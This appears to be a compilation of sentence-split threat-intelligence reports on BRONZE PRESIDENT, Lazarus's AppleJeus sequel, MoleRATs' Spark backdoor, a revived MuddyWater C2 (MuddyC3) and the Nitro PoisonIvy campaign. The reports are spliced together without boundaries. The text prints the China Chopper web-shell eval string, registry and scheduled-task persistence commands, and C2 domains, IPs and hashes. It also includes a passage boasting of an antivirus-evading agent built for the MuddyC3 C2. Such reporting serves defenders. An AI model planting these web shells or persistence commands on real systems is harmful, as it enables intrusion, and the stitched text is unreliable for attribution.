China Chopper web shell files named error404.aspx included the "eval (Request.Item["|"] ,"unsafe" ) ; " string .


To successfully interact with the web shell , a threat actor sent HTTP requests that included the "|" parameter .


The web shell files appeared to be installed during the timeframe that BRONZE PRESIDENT was active on the system .


CTU researchers identified a variety of post-compromise tools stored under %AppData% ( e.g. , \AppData\Roaming\Temp ) on several compromised systems .


The widespread proliferation and use of the following tools suggest that the group likely has the knowledge and capability to use them as part of its operations :


Powerview.ps1 — This PowerShell-based module for network reconnaissance is part of the PowerSploit penetration testing framework .


PVE Find AD User — This command-line tool identifies login locations of Active Directory ( AD ) users .


AdFind — This command-line tool conducts AD queries .


NetSess — This publicly available tool enumerates NetBIOS sessions .


Netview — This tool enumerates networks .


TeamViewer — This remote control and desktop-sharing tool has applications for legitimate and malicious system users .


Its installation in a temporary directory alongside network reconnaissance and enumeration tools likely indicates malicious intent .


At the time of detection , observed BRONZE PRESIDENT incidents had likely been ongoing for several months or even years .


As a result , CTU researchers were unable to ascertain the initial access vector .


In October 2019 , third-party researchers described a phishing campaign that used C2 infrastructure that CTU researchers attribute to BRONZE PRESIDENT .


This connection suggests that the group uses phishing emails with ZIP attachments that contain LNK files as an initial access vector .


During one intrusion , the threat actors gained administrator access to all systems within a targeted business unit and installed their remote access tools on 80% of the hosts .


The group installed multiple tools within the environment , including three different tools on a strategically important server , likely to provide contingency access options .


During multiple intrusions , the threat actors employed various tools and techniques to understand the network environments .


For example , they used Nmap to scan various internal IP address ranges and SMB ports .


They also relied on Nbtscan , net user , and ping commands to obtain insights and identify opportunities for lateral movement .


BRONZE PRESIDENT regularly leverages Wmiexec to move laterally .


During one intrusion , the threat actors extensively used this tool to execute WMI commands on remote hosts in the environment .


The threat actors retrieved the NTDS.dit file from the volume shadow copy .


NTDS.dit contains Active Directory data , including password hashes for all users on a domain .


Extracting hashes from the NTDS.dit file requires access to the SYSTEM file in the system registry .


The threat actors saved both the SYSTEM file ( system.hive ) and NTDS.dit in the compromised host's c:\windows\temp directory .


These files were likely exfiltrated and exploited offline to retrieve user password hashes , which could then be cracked or used to perform pass-the-hash attacks .


BRONZE PRESIDENT 's C2 techniques are dictated by its remote access tools .


The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443 .


After connecting to its C2 server , RCSession checks in with an encrypted beacon and then awaits instruction .


The ORat tool , which appears to be used less frequently by the group , communicates over TCP port 80 using a raw socket protocol ( not HTTP ) .


The Cobalt Strike tool has malleable C2 profiles .


During one intrusion , it connected to multiple C2 domains on TCP port 80 , including mail . svrchost . com , using the following request .


Subsequent Cobalt Strike C2 servers included subdomains of svchosts . com , svrchost . com , and strust . club .


Some BRONZE PRESIDENT C2 domains analyzed by CTU researchers were hosted on infrastructure owned by Dutch VPS provider Host Sailor , Hong Kong-based New World Telecoms , and Malaysia-based Shinjiru Technology ( see Figure 7 ) .


The threat actors have used discrete infrastructure clusters that share matching hosting and registration characteristics .


The pattern of infrastructure hosting suggests that the group parks its domains when not in use , an operational security technique that limits exposure of the group's overall hosting infrastructure .


Some of BRONZE PRESIDENT 's malware has persistence capabilities .


For example , ORat uses a WMI event consumer to maintain its presence on a compromised host .


The group also creates and maintains scheduled tasks to achieve this purpose .


Figure 8 shows a Sysdriver scheduled task that periodically executes a Cobalt Strike payload .


The threat actors tend to install malware on a large proportion of hosts during their intrusions .


However , the group exercises restraint and defensive evasion tactics to minimize opportunities for network defenders to detect or investigate its activities .


For example , the threat actors deleted volume shadow copies after using them for NTDS.dit retrieval .


BRONZE PRESIDENT targets specific data types .


The threat actors use custom batch scripts to create a list of files with predefined criteria and collate the identified files into a .rar archive ( see Figure 9 ) .


CTU researchers have observed BRONZE PRESIDENT batch scripts named doc.bat , xls.bat , xlsx.bat , ppt.bat , pptx.bat , pdf.bat , and txt.bat .


The group also uses the all.bat batch script to collect all files stored on a specific user's desktop .


CTU researchers observed RCSession and Cobalt Strike on systems that BRONZE PRESIDENT targeted for data theft .


Either of these tools could have been used to exfiltrate the archived data .


BRONZE PRESIDENT has demonstrated intent to steal data from organizations using tools such as Cobalt Strike , PlugX , ORat , and RCSession .


The concurrent use of so many tools during a single intrusion suggests that the group could include threat actors with distinct tactics , roles , and tool preferences .


It is likely that BRONZE PRESIDENT has additional unobserved operational tools and capabilities .


CTU researchers recommend that organizations apply controls to mitigate common intrusion techniques and behaviors along with controls that address the tools and techniques discussed in this analysis .


PlugX C2 server : ipsoftwarelabs.com .


RCSession C2 server : toshibadrive.com .


ORat and Cobalt Strike C2 server : strust.club .


Cobalt Strike C2 server : svchosts.com , svrhosts.com .


Cobalt Strike download location : 116.93.154.250 .


ORat malware sample : a0758535cf8eb689782b95d3791d23d5 , 774a9c3ff01a3e734b7bec0c312120126295fad9 , 2e8762c984468ee309dad30a6c5f6d3308676ac721357da442a8a5b9d9d65d82 .


Cobalt Strike payload : 7101fff478290d4db8a1c11a8d3b40cb , 4c81777551a772218519fb6dd1a6672aade4a936 , bdf1452b55b9974f3e9a4aea4439769a02fd931660ed655df92519a2a4df1261 .


Modified DLL file ( goopdate.dll ) used by BRONZE PRESIDENT to install RCSession : 0617cad9e5d559356c43d4037c86227f , f14eaf5d648aebb2ed7b00b2cf4349263b30fb1c , 2ea9ccf653f63bcc3549a313ec9d0bada341556cc32dd2ca4b73e0c034492740 .


Operation AppleJeus Sequel , Lazarus continues to attack the cryptocurrency business with enhanced capabilities .


The Lazarus group is currently one of the most active and prolific APT actors .


In 2018 , Kaspersky published a report on one of their campaigns , named Operation AppleJeus .


Notably , this operation marked the first time Lazarus had targeted macOS users , with the group inventing a fake company in order to deliver their manipulated application and exploit the high level of trust among potential victims .


As a result of our ongoing efforts , we identified significant changes to the group ’s attack methodology .


To attack macOS users , the Lazarus group has developed homemade macOS malware , and added an authentication mechanism to deliver the next stage payload very carefully , as well as loading the next-stage payload without touching the disk .


In addition , to attack Windows users , they have elaborated a multi-stage infection procedure , and significantly changed the final payload .


We assess that the Lazarus group has been more careful in its attacks following the release of Operation AppleJeus and they have employed a number of methods to avoid being detected .


After releasing Operation AppleJeus , the Lazarus group continued to use a similar modus operandi in order to compromise cryptocurrency businesses .


We found more macOS malware similar to that used in the original Operation AppleJeus case .


This macOS malware used public source code in order to build crafted macOS installers .


The malware authors used QtBitcoinTrader developed by Centrabit .


These three macOS installers use a similar post installer script in order to implant a mach-o payload , as well as using the same command-line argument when executing the fetched second-stage payload .


However , they have started changing their macOS malware .


We recognized a different type of macOS malware , MarkMakingBot.dmg ( be37637d8f6c1fbe7f3ffc702afdfe1d ) , created on 2019-03-12 .


It doesn’t have an encryption/decryption routine for network communication .


We speculate that this is an intermediate stage in significant changes to their macOS malware .


During our ongoing tracking of this campaign , we found that one victim was compromised by Windows AppleJeus malware in March 2019 .


Unfortunately , we couldn’t identify the initial installer , but we established that the infection started from a malicious file named WFCUpdater.exe .


At that time , the actor used a fake website : wfcwallet.com .


The actor used a multi-stage infection like before , but the method was different .


The infection started from .NET malware , disguised as a WFC wallet updater ( a9e960948fdac81579d3b752e49aceda ) .


Upon execution , this .NET executable checks whether the command line argument is “ /Embedding ” or not .


This malware is responsible for decrypting the WFC.cfg file in the same folder with a hardcoded 20-byte XOR key .


This mimics the wallet updater connected to the C2 addresses : wfcwallet.com ( resolved ip : 108.174.195.134 ) , www.chainfun365.com ( resolved ip : 23.254.217.53 ) .


After that , it carries out the malware operator ’s commands in order to install the next stage permanent payload .


The actor delivered two more files into the victim ’s system folder : rasext.dll and msctfp.dat .


They used the RasMan ( Remote Access Connection Manager ) Windows service to register the next payload with a persistence mechanism .


After fundamental reconnaissance , the malware operator implanted the delivered payload by manually using the following commands :


cmd.exe /c dir rasext.dll , cmd.exe /c dir msctfp.dat , cmd.exe /c tasklist /svc | findstr RasMan , cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\RasMan\ThirdParty /v DllName /d rasext.dll /f .


In order to establish remote tunneling , the actor delivered more tools , executing with command-line parameters .


Unfortunately , we have had no chance to obtain this file , but we speculate that Device.exe is responsible for opening port 6378 , and the CenterUpdater.exe tool was used for creating tunneling to a remote host .


Note that the 104.168.167.16 server is used as a C2 server .


The fake website hosting server for the UnionCryptoTrader case will be described next .


We also found a Windows version of the UnionCryptoTrader ( 0f03ec3487578cef2398b5b732631fec ) .


It was executed from the Telegram messenger download folder :


C:\Users\[user name]\Downloads\Telegram Desktop\UnionCryptoTraderSetup.exe .


We also found the actor ’s Telegram group on their fake website .


Based on these , we assess with high confidence that the actor delivered the manipulated installer using the Telegram messenger .


Unfortunately , we can’t get all the related files as some payloads were only executed in memory .


However , we can reassemble the whole infection procedure based on our telemetry .


The overall infection procedure was very similar to the WFCWallet case , but with an added injection procedure , and they only used the final backdoor payload instead of using a tunneling tool .


The UnionCryptoTrader Windows version has the following window showing a price chart for several cryptocurrency exchanges .


The Windows version of UnionCryptoTrader updater ( 629b9de3e4b84b4a0aa605a3e9471b31 ) has similar functionality to the macOS version .


According to the build path ( Z:\Loader\x64\Release\WinloaderExe.pdb ) , the malware author called this malware a loader .


Upon launch , the malware retrieves the victim ’s basic system information , sending it in the following HTTP POST format , as is the case with the macOS malware .


If the response code from the C2 server is 200 , the malware decrypts the payload and loads it in memory .


Finally , the malware sends the act=done value and return code .


The next stage payload ( e1953fa319cc11c2f003ad0542bca822 ) , downloaded from this loader , is similar to the .NET downloader in the WFCWallet case .


This malware is responsible for decrypting the Adobe.icx file in the same folder .


It injects the next payload into the Internet Explorer process , and the tainted iexplore.exe process carries out the attacker ’s commands .


The final payload ( dd03c6eb62c9bf9adaf831f1d7adcbab ) is implanted manually as in the WFCWallet case .


This final payload was designed to run only on certain systems .


It seems that the malware authors produced and delivered malware that only works on specific systems based on previously collected information .


The malware checks the infected system ’s information and compares it to a given value .


It seems the actor wants to execute the final payload very carefully , and wants to evade detection by behavior-based detection solutions .


This Windows malware loads the encrypted msctfp.dat file in a system folder , and loads each configuration value .


Then it executes an additional command based on the contents of this file .


When the malware communicates with the C2 server , it uses a POST request with several predefined headers .


Finally , the malware downloads the next stage payload , decrypting it and possibly executing it with the Print parameter .


We speculate that the DLL type payload will be downloaded and call its Print export function for further infection .


We can’t get hold of the final payload that ’s executed in memory , but we believe its backdoor-type malware is ultimately used to control the infected victim .


We were able to identify several victims in this Operation AppleJeus sequel .


Victims were recorded in the UK , Poland , Russia and China .


Moreover , we were able to confirm that several of the victims are linked to cryptocurrency business entities .


The actor altered their macOS and Windows malware considerably , adding an authentication mechanism in the macOS downloader and changing the macOS development framework .


The binary infection procedure in the Windows system differed from the previous case .


They also changed the final Windows payload significantly from the well-known Fallchill malware used in the previous attack .


We believe the Lazarus group ’s continuous attacks for financial gain are unlikely to stop anytime soon .


Since the initial appearance of Operation AppleJeus , we can see that over time the authors have changed their modus operandi considerably .


NEW CYBER ESPIONAGE CAMPAIGNS TARGETING PALESTINIANS Over the last several months , the Cybereason Nocturnus team has been tracking recent espionage campaigns targeting the Middle East .


These campaigns are specifically directed at entities and individuals in the Palestinian territories .


This investigation shows multiple similarities to previous attacks attributed to a group called MoleRATs ( aka The Gaza Cybergang ) , an Arabic-speaking , politically motivated group that has operated in the Middle East since 2012 .


In our analysis , we distinguish between two separate campaigns happening simultaneously .


These campaigns differ in tools , server infrastructure , and nuances in decoy content and intended targets .


The Spark Campaign : This campaign uses social engineering to infect victims , mainly from the Palestinian territories , with the Spark backdoor .


This backdoor first emerged in January 2019 and has been continuously active since then .


The campaign ’s lure content revolves around recent geopolitical events , espeically the Israeli-Palestinian conflict , the assassination of Qasem Soleimani , and the ongoing conflict between Hamas and Fatah Palestinian movements .


The Pierogi Campaign : This campaign uses social engineering attacks to infect victims with a new , undocumented backdoor dubbed Pierogi .


This backdoor first emerged in December 2019 , and was discovered by Cybereason .


In this campaign , the attackers use different TTPs and decoy documents reminiscent of previous campaigns by MoleRATs involving the Micropsia and Kaperagent malware .


In part one of this research , we analyze the Spark campaign .


This campaign is named after a rare backdoor used by the MoleRATs Group , dubbed Spark by Cybereason and previously reported by 360 ’s blog .


The creators of the Spark backdoor use several techniques to evade detection and stay under the radar .


They pack the malware with a powerful commercial tool called Enigma Packer and implement language checks to ensure the victims are Arabic speaking .


This minimizes the risk of detection and infection of unwanted victims .


Cyber Espionage in the Middle East : The Cybereason Nocturnus team has discovered several recent , targeted attacks in the Middle East .


These attacks deliver the Spark and Pierogi backdoors for politically-driven cyber espionage operations .


Targeting Palestinians : The campaigns seems to target Palestinian individuals and entities , likely related to the Palestinian government .


Politically-motivated APT : Cybereason suspects that the objective of the threat actor is to obtain sensitive information from the victims and leverage it for political purposes .


Lured Into Deploying a Backdoor : The attackers use specially crafted lure content to trick targets into opening malicious files that infect the victim ’s machine with a backdoor .


The lure content in the malicious files relates to political affairs in the Middle East , with specific references to the Israeli-Palestinian conflict , tension between Hamas and Fatah , and other political entities in the region .


Perpetrated by an Arabic-Speaking APT Group : The modus-operandi of the attackers in conjunction with the social engineering tactics and decoy content seem aligned with previous attacks carried out by the Arabic-speaking APT group MoleRATs ( aka Gaza Cybergang ) .


This group has been operating in the Middle East since 2012 .


These attacks show significant similarities to previously documented attacks attributed to the Arabic-speaking threat actor , commonly referred to as the MoleRATs group ( aka , The Gaza Cybergang , Moonlight , DustySky , Gaza Hacker Team ) .


This group , which has been attributed by various security teams , is believed to be comprised of three subgroups :


Gaza Cybergang Group 1 , also dubbed MoleRATs : MoleRATs has been active since at least 2012 .


This Arabic-speaking group uses spear phishing attacks to infect target machines in the Middle East and North Africa with various Remote Access Trojans ( RATs ) .


As MoleRATs most prominently targets Palestinian territories , its spear phishing attacks often use attached malicious documents on topical Palestinian Authority-related issues to lure their victims .


The group uses a mix of tools and malware , some developed by the group and others that are more generic tools .


Gaza Cybergang Group 2 , also dubbed Desert Falcons , APT-C-23 , Arid Viper .


This second group is an Arabic-speaking group that mainly targets the Middle East and North Africa , with a few targets in European and Asian countries as well .


The group is known for their advanced attacks that leverage custom-built Windows malware ( Kasperagent , Micropsia ) as well as Android malware ( Vamp , GnatSpy ) .


Gaza Cybergang Group 3: This group is believed to be behind Operation Parliament .


It is considered to be the most advanced group of the three , and is focused on high-profile targets in the Middle East , North America , Europe and Asia .


The group is reported to have previously attacked government institutions , parliaments , senates , diplomatic functions , and even Olympic and other sports bodies .


It is important to remember there are many threat actors operating in the Middle East , and often there are overlaps in TTPs , tools , motivation , and victimology .


There have been cases in the past where a threat actor attempted to mimic another to thwart attribution efforts , and as such , attribution should rarely be taken as is , but instead with a grain of salt and critical thinking .


In this attack , the targets are lured to open a document or a link attached to an email .


There have been cases in the past where victims also downloaded malicious content from fake news websites .


The names of the files and their content play a major part in luring victims to open them , as they usually relate to current topics pertaining to Hamas , the Palestinian National Authority , or other recent events in the Middle East .


The lure documents analyzed by Cybereason in this attack concentrate on the following themes :


The Conflict between Hamas and Fatah : The historical rivalry between the Hamas and Fatah has resulted in many open battles between the two entities .


Since 2006 , Hamas has controlled the Gaza strip and Fatah has controlled the West Bank .


Matters pertaining to the Israeli-Palestinian Conflict : Some of the documents in this campaign reference different aspects of the Israeli-Palestinian conflict , and the efforts for ceasefire and peace processes between the Israelis and the Palestinians , including the latest peace plan made by President Donald Trump and Senior Advisor to the President of the United States Jared Kushner .


Vigilance Following Soleimani ’s Assassination : One of the lure documents mentions sources in Lebanon that report a state of alert and vigilance amongst Iranian , Syrian , and Lebasense militias following Soleimani ’s assassination .


Tensions Between Hamas and the Egyptian Government : Egypt plays a major role as a mediator in the Israeli-Palestinian confict and has brokered several ceasefire deals and other negotiations in the past .


Changes to Egypt ’s internal political climate are known to have affected Egyptian government relations with Hamas over the years .


It was recently reported that Ismail Haniyeh , the head of Hamas ’ political Bureau , had a falling-out with the Egyptian government over his visit to Tehran to participate in General Qasem Soleimani ’s funeral , following Soleimani ’s assassination .


In the Spark campaign , the lure documents and links point to one of two file sharing websites , Egnyte or Dropbox .


The target is encouraged to download an archive file in a rar or zip format that contains an executable file masquerading as a Microsoft Word document .


One example of a lure document used in the Spark campaign is a PDF file that is used to deliver the Spark backdoor to the victim .


The document includes a special report allegedly quoted from the Egyptian newspaper Al-Ahram .


This document reports that Ismail Hanieyh , the political leader of Hamas , had notified the Egyptian government that he will remain abroad after his visit to Tehran to take part in Soleimani ’s funeral , which sparked tension with the Egyptian authorities .


Haniyeh_will_remain_abroad_and_Hamas_rises_in_Gaza.pdf : 5b476e05aacea9edc14f7e4bab1b724ef54915f30c39ac87503ed395feae611e .


The target is encouraged to click on the link to read the entire article .


However , the document does not link to the Egyptian Newspaper website , but instead to a file sharing website called Egnyte .


It prompts the user to download a file that supposedly contains the full article .


Link embedded in the PDF document : https://csaasd.egnyte.com/dd/h5s7YHzOy5 .


The downloaded file is an archive file ( .r23 ) , that contains a Windows executable file with the same name as the PDF and with a fake Microsoft Word icon .


Hanieh_will_remain_abroad_and_Hamas_steps_up_in_Gaza.r23 :


e8d73a94d8ff18c7791bf4547bc4ee2d3f62082c594d3c3cf7d640f7bbd15614 .


Hanieh_will_remain_abroad_and_Hamas_steps_up_in_Gaza.exe :


7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128 .


When the victim double clicks on the executable file , it unpacks and installs the Spark backdoor , as shown in the attack tree screenshot below .


The extracted executable file contains a compiled Autoit script , which can be seen in the RT_RCDATA section of the file .


The decompiled code shows the decryption routine that unpacks the embedded Spark backdoor .


Once the file is unpacked , the backdoor is dropped in two different locations on the infected operating system :


C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runawy.exe .


C:\Users\user\runawy.exe .


In addition , the Autoit code also creates the following scheduled task for persistence :


SCHTASKS /Create /f /SC minute /TN runawy /mo 5 /tr C:\Users\<USER>\runawy.exe .


Urgent_Information_Report.exe :


6e896099a3ceb563f43f49a255672cfd14d88799f29617aa362ecd2128446a47 .


The executable has a Microsoft Word icon to trick victims into believing they are opening a Word document .


Once the user double-clicks on the executable file , the dropper drops a Word document in %AppData% and displays the following decoy document to the victim , while the dropper runs in the background and installs the backdoor . %appdata%\info.docx :


2c50eedc260c82dc176447aa4116ad37112864f4e1e3e95c4817499d9f18a90d .


The dropper drops the Spark backdoor binary and a shortcut file used to initiate persistence in the following locations .


C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Blaster.lnk :


4254dc8c368cbc36c8a11035dcd0f4b05d587807fa9194d58f0ba411bfd65842 .


C:\Users\user\AppData\Roaming\Blaster.exe :


cf32479ed30ae959c4ec8a286bb039425d174062b26054c80572b4625646c551 .


The Spark payload is a custom backdoor likely developed by the MoleRATs group .


In addition to known generic malware ( such as : njRAT , Poison Ivy , XtremeRAT ) , the MoleRATs group has been known to develop its own custom tools such as DustySky , the MoleRAT Loader and Scote .


We believe this backdoor is relatively new and seems to have appeared starting in the beginning of 2019 .


The name Spark is derived from the PDB path left in a few of the backdoor binaries :


W:\Visual Studio 2017\Spark4.2\Release\Spark4.2.pdb .


The Spark backdoor allows the attackers to :


Collect information about the infected machine .


Encrypt the collected data and send it to the attackers over the HTTP protocol .


Download additional payloads .


Log keystrokes .


Record audio using the computer ’s microphone .


Execute commands on the infected machine .


The creators of the Spark backdoor use a few techniques that are intended to keep the backdoor under-the-radar , including :


Packing the payloads with the Enigma packer .


Checking for antivirus and other security products using WMI .


Validating Arabic keyboard and language settings on the infected machine .


All the the payloads observed by Cybereason in this campaign were packed by a powerful yet commercial packer called Enigma Packer .


The MoleRATs group have been known to use this packer in previous attacks .


Enigma packer artifacts in file metadata ( SHA-256: b08b8fddb9dd940a8ab91c9cb29db9bb611a5c533c9489fb99e36c43b4df1eca ) .


One common evasive mechanism used by the Spark backdoor is its ability to check for installed security products using WMI queries ( WQL ) .


If certain security products are installed , the backdoor does not carry out its malicious activity .


Another evasive mechanism used by the backdoor is how it checks whether an Arabic keyboard and Arabic language settings are used on the infected machine .


If Arabic keyboard and language settings are not found on the machine , the backdoor will not carry out its malicious activity .


This check serves two purposes :


It minimizes the risk of overexposure by specifically targeting Arabic speakers .


It can thwart detection by automated analysis engines and sandbox solutions .


After unpacking itself , the Spark backdoor creates a hidden window where most of the malicious activity is handled .


This behavior can be detected using a tool called WinLister , which enumerates hidden windows .


The name of the window is Spark4.2 .


The Spark backdoor communicates with the C2 servers over the HTTP protocol .


The data is first encrypted and then encoded with Base64 .


In this instance , the backdoor posts the data to the domain Nysura.com ( For more domains , please see the IOC section of this research ) .


It is interesting to see that the HTTP POST host header refers to a legitimate domain cnet.com , however , in acutality , the data is sent to nysura.com , as can be seen in the traffic screenshot below .


The data sent to the C2 follows a structured pattern that uses a predefined keywords array , where each keyword is mapped to a certain subroutine .


The keywords are comprised of the names of individuals .


They are mostly Western names , but there were some Arabic names in a few of the samples .


Prior to sending the data to the server , the data is encrypted and staged in an array like this :


[27089,28618,9833,4170,25722,19977,2369,21426,3435,7442,30146,21719,16140,16280,16688,22550,19867,194,3298] .


The data is then encoded with Base64 :


" WzI3MDg5LDI4NjE4LDk4MzMsNDE3MCwyNTcyMiwxOTk3NywyMzY5LDIxNDI2LDM0MzUsNzQ0MiwzMDE0NiwyMTcxOSwxNjE0MCwxNjI4MCwxNjY4OCwyMjU1MCwxOTg2NywxOTQsMzI5OF0= " .


The Base64-encoded data is inserted into the following json object , which contains the individual names .


Lastly , the entire json object is encoded with Base64 and undergoes another stage of encryption , and then sent to the server :


Using names as keywords is an identical technique to that of the data structure logic previously documented by 360 ’s blog post .


This post discusses an earlier variant of the backdoor attributed to the MoleRATs group .


Using other individuals names for C2 communication has also been done by the two other Gaza Cybergang groups :


Gaza Cybergang Group 2 with the Micropsia backdoor :


In this instance , the C2 communication implemented by the Micropsia backdoor also used specific names for different C2 commands .


Gaza Cybergang Group 3 in Operation Parliament : In this instance , the malware also used people ’s names for C2 communication to send and receive commands from the server .


Based on the similarity of the naming convention and data format , we believe the Spark backdoor could be an evolution of the backdoor mentioned in Operation Parliament , or at least inspired by the malware .


The Spark campaign detailed in this blog demonstrates how the tense geopolitical climate in the Middle East is used by threat actors to lure victims and infect them with the Spark backdoor for cyber espionage purposes .


The names of the files and decoy content seem to be carefully crafted , often referencing controversial and topical political issues .


Cybereason estimates that the files are specifically meant to lure and appeal to victims from the Middle East , especially towards individuals and entities in the Palestinian territories likely related to the Palestinian government or the Fatah movement .


The techniques , tools , and procedures used in this campaign bear great resemblance to previous attacks attributed to the MoleRATs Group ( aka Gaza Cybergang Group ) , an Arabic-speaking , politically motivated group that has operated in the Middle East since 2012 .


Our research demonstrates the efforts used by attackers to reduce the risk of detection of the Spark backdoor by various security products .


The backdoor checks for the existence of antivirus and firewall products before it initiates its malicious activity .


Importantly , the backdoor simply will not reveal its malicious nature unless Arabic language keyboard and settings are found on the infected machine .


This shows how the attackers use this backdoor in a surgical way to exclusively attack specific targets .


In addition , analysis of these backdoor delivery methods also highlights a trend by many threat actors where they use legitimate storage platforms to deliver the initial stages of the attack .


Reviving MuddyC3 Used by MuddyWater ( IRAN ) APT .


MuddyWater is a well-known threat actor group founded by Iran . “ that has been active since 2017 .


They target groups across Middle East and Central Asia , primarily using spear phishing emails with malicious attachments .


Most recently they were connected to a campaign in March that targeted ” organizations in Turkey , Pakistan , and Tajikistan .


MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “ POWERSTATS ” .


Despite broad scrutiny and reports on MuddyWater attacks , the activity continues with only incremental changes to the tools and techniques .


In June 26 2019 a group called “ Green Leakers ” on telegram published screenshots of the C2 admin panel as you can see below along with screenshot of the muddyc3 c2 source code . they announced that they are selling all the leaked tools for 0.5BTC .


At that time i got the source code from github , so i tried the code to find that the core of the c2 which is powershell payload is messing ( the leaker didn’t include the payload in order to by all the tools ) . so i didn’t have time to reverse engineer the source code and i left it . last week i got 3 days off from my work ( working in SOC will keep you for ever busy ) so i started analyzing the code which will be discussed below and i was able to understand how it works in order to create the messing powershell payload and make the c2 come to life .


I didn’t just revive the C2 but also added more advanced functionality which will be released as separate tool soon .


Lets start by giving a summary about the muddyc3 tool :


Coded with python2.7 . works as C2 server that serve a powershell agent script when requested . i didn’t find any function to encrypt the traffic between the the agent and the C2 but there are variables with name private_key , public_key so i suspect the functions removed . its make use of HTA and bas64 encoded powershell code to bypass the AV ( right now AV can catch HTA ) .


It use threading so many agent can connect and controlled at the same time . the agent must collect information about the system when it first start then report it to the C2 . there is template for agent which will be filled with ip and port when the C2 run . include functions but not all implemented in the initial POC :


upload , download , load modules , get screenshot .


The initial powershell agent POC i created can bypass the AV including Kaspersky , Trendmicro .


Now we dig deep in the C2 to explain how it work and how i created the agent based on the function available in the C2 .


C2 interface


simple CLI interface that ask when started for IP ,Port and proxy configuration to generate the initial payloads .


The Nitro Attacks .


This document discusses a recent targeted attack campaign directed primarily at private companies involved in the research , development , and manufacture of chemicals and advanced materials .


The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .


In addition , the same attackers appear to have a lengthy operation history including attacks on other industries and organizations .


Attacks on the chemical industry are merely their latest attack wave .


As part of our investigations , we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks .


As the pattern of chemical industry targets emerged , we internally code-named the attack campaign Nitro .


The attack wave started in late July 2011 and continued into midSeptember 2011 .


However , artifacts of the attack wave such as Command and Control ( C&C ) servers are also used as early as April 2011 and against targets outside the chemical industry .


The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .


The attackers first researched desired targets and then sent an email specifically to the target .


Each organization typically only saw a handful of employees at the receiving end of these emails .


However , in one organization almost 500 recipients received a mail , while in two other organizations , more than 100 were selected .


While the attackers used different pretexts when sending these malicious emails , two methodologies stood out .


First , when a specific recipient was targeted , the mails often purported to be meeting invitations from established business partners .


Secondly , when the emails were being sent to a broad set of recipients , the mails purported to be a necessary security update .


The emails then contained an attachment that was either an executable that appeared to be a text file based on the file name and icon , or a password-protected archive containing an executable file with the password provided in the email .


In both cases , the executable file was a self-extracting executable containing PoisonIvy , a common backdoor Trojan developed by a Chinese speaker .


When the recipient attempted to open the attachment , they would inadvertently execute the file , causing PoisonIvy to be installed .


Once PoisonIvy was installed , it contacted a C&C server on TCP port 80 using an encrypted communication protocol .


Using the C&C server , the attackers then instructed the compromised computer to provide the infected computer ’s IP address , the names of all other computers in the workgroup or domain , and dumps of Windows cached password hashes .


By using access to additional computers through the currently logged on user or cracked passwords through dumped hashes , the attackers then began traversing the network infecting additional computers .


Typically , their primary goal is to obtain domain administrator credentials and/or gain access to a system storing intellectual property .


Domain administrator credentials make it easier for the attacker to find servers hosting the desired intellectual property and gain access to the sensitive materials .


The attackers may have also downloaded and installed additional tools to penetrate the network further .


While the behavior of the attackers differs slightly in each compromise , generally once the attackers have identified the desired intellectual property , they copy the content to archives on internal systems they use as internal staging servers .


This content is then uploaded to a remote site outside of the compromised organization completing the attack .


The majority of infected machines are located in the US , Bangladesh and the UK ;


however , overall there is wide geographical spread of infections .


As mentioned above , the threat used to compromise the targeted networks is Poison Ivy , a Remote Access Tool ( RAT ) .


This application is freely available from poisonivy-rat.com .


It comes fully loaded with a number of plug-ins to give an attacker complete control of the compromised computer .


The method of delivery has changed over time as the attackers have changed targets .


Older attacks involved a self-extracting archive with a suggestive name , for example : “ Human right report of north Africa under the war . scr ” .


The most recent attacks focusing on the chemical industry are using password-protected 7zip files which , when extracted , contain a self-extracting executable .


The password to extract the 7zip file is included in the email .


This extra stage is used to prevent automated systems from extracting the self-extracting archive .


Some example file names using this technique include : AntiVirus_update_package.7z , acquisition.7z , offer.7z , update_flashplayer10ax.7z .


When the self-extracting archive file is executed , it will drop two files .


Examples of file names that are used include : %Temp%\happiness.txt , %Temp%\xxxx.exe .


The executable file , xxxx.exe in this case , is then executed .


The second file , happiness.txt , contains custom code in binary format that is encrypted and used by xxxx.exe .


The xxxx.exe file copies happiness.txt to C:\PROGRAM FILES\common files\ODBC\ODUBC.DLL and to C:\WINDOWS\system32\jql.sys .


It then loads the contents of the encrypted file and injects it into the explorer.exe and iexplore.exe processes .


The injected code copies xxxx.exe to %System%\winsys.exe and connects to the Command and Control ( C&C ) server on TCP port 80 .


The communication with the server is a handshake using an encryption algorithm ( Camellia ) .


Once the Trojan establishes the server ’s authenticity , it expects a variable-size block of binary code that is read from the server straight into the virtual space for iexplore.exe and then executed .


When executed , the Poison Ivy threat , or Backdoor.Odivy , connects to a command and control ( C&C ) server over TCP port 80 .


A number of different C&C domains and IP addresses were identified .


The majority of samples connect to a domain ; however one subset of samples connected directly to the IP address 204.74.215.58 , which belonged to the Chinese QQ user mentioned previously and was also associated with antivirus-groups.com . .


org : 173.252.207.71 , 173.252.205.36 , 173.252.205.37 , 173.252.205.64 . antivirus-groups.com : 74.82.166.205 , 204.74.215.58 . domain.rm6.org : 216.131.95.22 , 222.255.28.27 . anti-virus.sytes.net : 173.252.205.36 , 173.252.205.37 , 173.252.205.64 .


Several other hacker groups have also begun targeting some of the same chemical companies in this time period .


Attackers are sending malicious PDF and DOC files , which use exploits to drop variants of Backdoor.Sogu .


This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .


Determining if the two groups are related is difficult , but any relationship appears unlikely .


The attackers described in this document use a very basic delivery platform ; compressed self-extracting archives sometimes sent to a large number of recipients .


The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .


The Sogu gang use a custom developed threat – Backdoor.Sogu , whereas the group described in this document use an off the shelf threat – Poison Ivy .


While the number of Sogu targets is currently small relative to the Poison Ivy attacks , we continue to monitor their activities .


Numerous targeted attack campaigns are occurring every week .


However , relative to the total number of attacks , few are fully disclosed .


